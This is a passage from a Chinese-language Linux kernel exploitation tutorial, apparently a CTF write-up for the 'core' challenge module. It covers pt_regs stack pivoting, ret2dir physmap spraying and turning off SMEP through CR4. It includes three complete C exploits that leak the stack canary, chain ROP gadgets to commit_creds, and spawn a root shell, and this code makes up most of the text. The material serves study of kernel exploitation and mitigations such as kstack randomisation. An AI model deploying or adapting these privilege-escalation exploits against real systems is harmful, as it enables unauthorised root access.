/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
核心棧只有一個頁面的大小,而 pt_regs
結構體則固定位於核心棧棧底,當我們劫持核心結構體中的某個函式指標時(例如 seq_operations->start
),在我們透過該函式指標劫持核心執行流時 rsp
與 棧底的相對偏移通常是不變的。
而在系統呼叫當中過程有很多的暫存器其實是不一定能用上的,比如 r8 ~ r15
,這些暫存器為我們佈置 ROP 鏈提供了可能,我們不難想到:只需要尋找到一條形如 "add rsp, val ; ret"
的gadget
便能夠完成ROP
,在進入核心態前像暫存器寫入一些值,看那些暫存器可以被保留,以便後續寫入gadget
。
KPTI pass:使用
seq_operations + pt_regs
結構體
seq_operations
的條目如下: struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
當我們開啟一個 stat 檔案時(如
/proc/self/stat
)便會在核心空間中分配一個seq_operations
結構體當我們 read 一個 stat 檔案時,核心會呼叫其
proc_ops
的proc_read_iter
指標,然後呼叫seq_operations->start
函式指標
利用思路
這次我們限制溢位只能覆蓋返回地址,此時需要棧遷移到其他地方構造 rop 。其中一個思路就是在 pt_regs
上構造 rop 。我們在呼叫 core_copy_func
函式之前先將暫存器設定為幾個特殊的值,然後再 core_copy_func
函式的返回處下斷點。
__asm__(
"mov r15, 0x1111111111111111;"
"mov r14, 0x2222222222222222;"
"mov r13, 0x3333333333333333;"
"mov r12, 0x4444444444444444;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rcx, 0xbbbbbbbbbbbbbbbb;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0050;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
數字沒變的暫存器就是我們能夠控制的,可以被我們用來寫 gadget。
0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 ; r15
0c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14
0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13
0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12
0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp
10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp
11:0088│ 0xffffc90000113f88 ◂— 0x207
12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 ;r10
13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 ;r9
14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8
15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│ 0xffffc90000113fd0 ◂— 0x10
1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│ 0xffffc90000113fe8 ◂— 0x207
1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */
新版本核心對抗利用 pt_regs 進行攻擊的辦法
核心主線在 這個 commit 中為系統呼叫棧新增了一個偏移值,這意味著 pt_regs
與我們觸發劫持核心執行流時的棧間偏移值不再是固定值:
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
#ifdef CONFIG_X86_64
__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
+ add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
當然,若是在這個隨機偏移值較小且我們仍有足夠多的暫存器可用的情況下,仍然可以透過佈置一些 slide gadget
來繼續完成利用,不過穩定性也大幅下降了。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset + 8;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
執行 add_rsp_0xc8_pop*4_ret
時棧佈局,rsp
抬高0xc8+0x20
後 ret
會執行到我們的 shellcode
。
ret2dir
如果 ptregs
所在的記憶體被修改了導致可控記憶體變少,我們可以利用 ret2dir
的利用方式將棧遷移至核心的線性對映區。不同版本核心的線性對映區可以從核心原始碼文件的mm.txt檢視。
ret2dir
是哥倫比亞大學網路安全實驗室在 2014
年提出的一種輔助攻擊手法,主要用來繞過 smep、smap、pxn
等使用者空間與核心空間隔離的防護手段,原論文。 linux
系統有一部分實體記憶體區域同時對映到使用者空間和核心空間的某個實體記憶體地址。一塊區域叫做 direct mapping area
,即核心的線性對映區。,這個區域對映了所有的實體記憶體。我們在使用者空間中佈置的 gadget
可以透過 direct mapping area
上的地址在核心空間中訪問到。
但需要注意的是在新版的核心當中 direct mapping area
已經不再具有可執行許可權,因此我們很難再在使用者空間直接佈置 shellcode
進行利用,但我們仍能透過在使用者空間佈置 ROP
鏈的方式完成利用。
利用思路
-
在使用者空間大量噴灑我們的
gadget: add_rsp_0xe8_ret
-
返回地址覆蓋為對應核心版本的線性對映區
+0x7000000
的位置。 -
利用
pt_regs
儲存的pop_rbp_ret; target_addr; leave;ret
來完成棧遷移。 -
執行線性對映區的
shellcode
。
exp
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
const size_t try_hit = 0xffff880000000000+0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
system("/bin/sh");
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
pop_rbp_ret += offset;
leave_ret += offset;
retn += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
void physmap()
{
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Error: open core");
}
page_size = sysconf(_SC_PAGESIZE);
printf("[*] page_size %llx", &page_size);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
while (idx < (page_size / 8 - 0x30)) {
rop[idx++] = add_rsp_0xe8_ret;
}
for (; idx < (page_size / 8 - 0xb); idx++) {
rop[idx] = retn;
}
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[idx++] = 0x0000000000000000;
rop[idx++] = 0x0000000000000000;
rop[idx++] = (size_t) get_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++) {
size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
puts("[*] trigger physmap one_gadget...");
}
int main()
{
rebase();
save_status();
physmap();
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rbp_ret;"
"mov r14, try_hit;"
"mov r13, leave_ret;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
return 0;
}
流程
(1)修改返回地址為線性對映區的地址,大機率會執行到add_rsp_0xe8_ret
將棧抬升到pt_regs
處,執行我們負責棧遷移的shell_code
。
(2)將棧遷移到我們目標地址後,大量的slider gadget
將棧不斷抬升到get_root
程式碼處,完成提權。
kernel rop + ret2user
利用思路
這種方法實際上是將前兩種方法結合起來,同樣可以繞過 smap
和 smep
保護。大體思路是先利用 rop
設定 cr4
為 0x6f0
(這個值可以透過用 cr4
原始值 & 0xFFFFF
得到)關閉 smep
, 然後 iret
到使用者空間去執行提權程式碼。
例如,當
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
時,smep
保護開啟。而 CR4
暫存器是可以透過 mov
指令修改的,因此只需要
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
即可關閉 smep
保護。
搜尋一下從 vmlinux
中提取出的 gadget
,很容易就能達到這個目的。
-
如何檢視
CR4
暫存器的值?gdb
無法檢視cr4
暫存器的值,可以透過kernel crash
時的資訊檢視。為了關閉smep
保護,常用一個固定值0x6f0
,即mov cr4, 0x6f0
。
exp
注意這裡 smap
保護不能直接關閉,因此不能像前面 ret2usr
那樣直接在 exp
中寫入 trap frame
然後棧遷移到 trap frame
的地址,而是在 rop
中構造 trap frame
結構。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0x00000000000006f0;
rop[it++] = mov_cr4_rdi_ret;
rop[it++] = (size_t) get_root;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
更多網安技能的線上實操練習,請點選這裡>>